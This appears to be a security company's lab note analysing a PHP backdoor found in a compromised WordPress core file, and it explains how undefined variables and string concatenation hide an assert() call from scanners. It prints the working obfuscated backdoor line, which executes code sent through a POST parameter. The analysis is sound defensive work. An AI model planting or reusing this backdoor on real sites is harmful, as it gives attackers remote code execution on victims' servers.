How Undefined Variables Can Give You RCE

Labs Note

When investigating a compromised website, our team has to make sure that all malware and backdoors are cleared from the environment. In some instances, these backdoors are easier to detect than others, but that’s not always the case.

Attackers have been using different techniques to avoid detection with automated scanners, such as abusing of PHP tricks and abusing of spaces. In this article, we’ll uncover another simple yet powerful method to execute commands remotely (RCE) while going undetected by regular scanners.

This obfuscation technique consists of adding undefined variables with string concatenation in order to allow RCE via the use of a PHP function called assert(). The code was injected into the WordPress file “./wp-includes/Requests/Exception/HTTP/511.php”. Here is the snippet:

error_reporting(0); $k="a"."".$sdfds."ss"."e".$jieos.""."rt"; $k/*;*/(/*;*/$/*;*/{"_".""."P".$esdwos."O"."S".$wmdir."T"} ['Derrtreuu54ew5']);

Please note that except for $k, all the other variables ($sdfds, $esdwos, ..) were not initialized. This would implicate in the following PHP Notice if it wasn’t for the error_reporting(0); declaration.

[Tue May 30 13:02:48.226182 2017] [:error] [pid 31554] [client] PHP Stack trace:[Tue May 30 13:02:48.226185 2017] [:error] [pid 31554] [client] PHP   1. {main}() /var/www/bd.php:0[Tue May 30 13:02:48.226241 2017] [:error] [pid 31554] [client] PHP Notice:  Undefined variable: esdwos in /var/www/bd.php on line 5

After cleaning up the undefined variables and concatenating the strings (which were there only as a evasion technique), we can clearly see the backdoor:


This snippet allows attackers to execute remote commands on the compromised website by sending a crafted $_POST request through the variable “Derrtreuu54ew5”.

As the malicious code was injected into the core WordPress structure (./wp-includes/…), a File Integrity Monitoring System would be able to quickly report these issues to the website owner and give them the chance in reducing damages to their online presence and SEO. Having regular backups of your files/database is also a great security measure to lessen the impacts of a compromise.

If you want to make sure your website is clean of backdoors that could be the entry point for infections and reinfections, let us know.

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